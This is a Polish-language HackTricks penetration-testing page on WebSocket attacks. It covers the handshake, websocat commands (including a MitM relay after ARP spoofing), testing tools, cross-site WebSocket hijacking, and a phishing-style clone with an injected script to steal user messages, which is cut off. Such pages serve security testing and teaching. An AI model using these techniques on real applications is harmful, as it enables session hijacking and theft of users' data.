# Ataki na WebSockety
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Czym są WebSockety Połączenia WebSocket są nawiązywane poprzez początkowy uścisk dłoni **HTTP** i są zaprojektowane tak, aby były **długotrwałe**, umożliwiając dwukierunkową komunikację w dowolnym momencie bez konieczności posiadania systemu transakcyjnego. Dzięki temu WebSockety są szczególnie korzystne dla aplikacji wymagających **niskiego opóźnienia lub komunikacji inicjowanej przez serwer**, takich jak strumienie danych finansowych na żywo. ### Nawiązywanie połączeń WebSocket Szczegółowe wyjaśnienie nawiązywania połączeń WebSocket można znaleźć [**tutaj**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). W skrócie, połączenia WebSocket są zwykle inicjowane za pomocą JavaScriptu po stronie klienta, jak pokazano poniżej: ```javascript var ws = new WebSocket("wss://normal-website.com/ws"); ``` Protokół `wss` oznacza połączenie WebSocket zabezpieczone protokołem **TLS**, podczas gdy `ws` oznacza **niezabezpieczone** połączenie. Podczas nawiązywania połączenia, między przeglądarką a serwerem odbywa się proces ustanawiania połączenia, który odbywa się za pomocą protokołu HTTP. Proces ten polega na wysłaniu żądania przez przeglądarkę, a następnie odpowiedzi serwera, jak to przedstawiono w poniższych przykładach: Przeglądarka wysyła żądanie ustanowienia połączenia: ```javascript GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` Odpowiedź serwera na handshake: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` Po nawiązaniu połączenia, komunikacja między stronami odbywa się w obie strony. **Kluczowe punkty podczas negocjacji WebSocket:** - Nagłówki `Connection` i `Upgrade` sygnalizują rozpoczęcie negocjacji WebSocket. - Nagłówek `Sec-WebSocket-Version` wskazuje żądaną wersję protokołu WebSocket, zwykle `13`. - W nagłówku `Sec-WebSocket-Key` wysyłana jest losowa wartość zakodowana w Base64, zapewniająca unikalność każdej negocjacji i pomagająca zapobiegać problemom z proxy cache. Ta wartość nie służy do uwierzytelniania, ale do potwierdzenia, że odpowiedź nie została wygenerowana przez źle skonfigurowany serwer lub cache. - Nagłówek `Sec-WebSocket-Accept` w odpowiedzi serwera to suma kontrolna `Sec-WebSocket-Key`, potwierdzająca intencję serwera otwarcia połączenia WebSocket. Te funkcje zapewniają bezpieczny i niezawodny proces negocjacji, umożliwiając efektywną komunikację w czasie rzeczywistym. ### Konsola Linux Możesz użyć `websocat`, aby nawiązać surowe połączenie z WebSocketem. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` Aby utworzyć serwer websocat: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### Ataki typu MitM na połączenia websocket Jeśli zauważysz, że klienci są podłączeni do **websocketu HTTP** z twojej obecnej lokalnej sieci, możesz spróbować przeprowadzić [Atak ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing), aby przeprowadzić atak typu MitM między klientem a serwerem.\ Gdy klient próbuje się połączyć, możesz użyć: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Wyliczanie Websockets Możesz użyć **narzędzia** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **do automatycznego odkrywania, identyfikowania i wyszukiwania znanych** **podatności** w websockets. ### Narzędzia do debugowania Websocket * **Burp Suite** obsługuje komunikację websockets w sposób bardzo podobny do komunikacji HTTP. * Rozszerzenie [**socketsleuth**](https://github.com/snyk/socketsleuth) dla Burp Suite pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, pobierać **historię**, ustawiać **reguły przechwytywania**, używać reguł **dopasowania i zamiany**, korzystać z **Intrudera** i **AutoRepeater**. * [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skrót od "**WebSocket/Socket.io Proxy**", narzędzie napisane w Node.js, które zapewnia interfejs użytkownika do **przechwytywania, przechwytywania**, wysyłania **niestandardowych** wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem. * [**wsrepl**](https://github.com/doyensec/wsrepl) to **interaktywne REPL websocket** zaprojektowane specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania **przychodzących wiadomości websocket i wysyłania nowych**, z łatwym w użyciu frameworkiem do **automatyzacji** tej komunikacji. * [**https://websocketking.com/**](https://websocketking.com/) to **strona internetowa do komunikacji** z innymi stronami internetowymi za pomocą **websockets**. * [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) oprócz innych typów komunikacji/protokołów, zapewnia **stronę internetową do komunikacji** z innymi stronami internetowymi za pomocą **websockets**. ## Laboratorium Websocket W [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) znajdziesz kod do uruchomienia strony internetowej za pomocą websockets, a w [**tym poście**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) znajdziesz wyjaśnienie. ## Przechwytywanie WebSocket Cross-site (CSWSH) **Przechwytywanie WebSocket Cross-site**, znane również jako **przechwytywanie WebSocket Cross-origin**, jest określane jako szczególny przypadek **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** dotyczący negocjacji WebSocket. Podatność ta występuje, gdy negocjacje WebSocket uwierzytelniają się wyłącznie za pomocą **ciasteczek HTTP**, bez tokenów CSRF lub podobnych środków bezpieczeństwa. Atakujący mogą wykorzystać to, hostując **złośliwą stronę internetową**, która inicjuje połączenie WebSocket między witryną a podatną aplikacją. W rezultacie to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji. ### Prosty atak Należy zauważyć, że podczas **ustanawiania** połączenia **websocketowego**, **ciasteczko** jest **wysyłane** do serwera. Serwer może go używać do **powiązania** każdego **konkretnego użytkownika** z jego **sesją websocketową na podstawie wysłanego ciasteczka**. Następnie, jeśli na przykład **serwer websocketowy wysyła historię rozmowy** użytkownika, jeśli zostanie wysłana wiadomość z "**READY"**, to **proste XSS** ustanawiające połączenie (ciasteczko zostanie **automatycznie wysłane**, aby autoryzować użytkownika ofiarę) **wysyłając** "**READY**" będzie w stanie **odzyskać** historię **rozmowy**. ```markup ``` ### Cross Origin + Cookie z inną subdomeną W tym wpisie na blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) atakujący zdołał **wykonać dowolny kod JavaScript w subdomenie** domeny, w której odbywała się komunikacja za pomocą gniazd sieciowych. Ponieważ była to **subdomena**, **cookie** było **wysyłane**, a ponieważ **Websocket nie sprawdzał poprawnie pochodzenia**, było możliwe komunikowanie się z nim i **kradzież tokenów**. ### Kradzież danych od użytkownika Skopiuj aplikację internetową, którą chcesz podszyć (np. pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja za pomocą gniazd sieciowych, dodaj ten kod: ```javascript //This is the script tag to load the websocket hooker //These are the functions that are gonig to be executed before a message //is sent by the client or received from the server //These code must be between some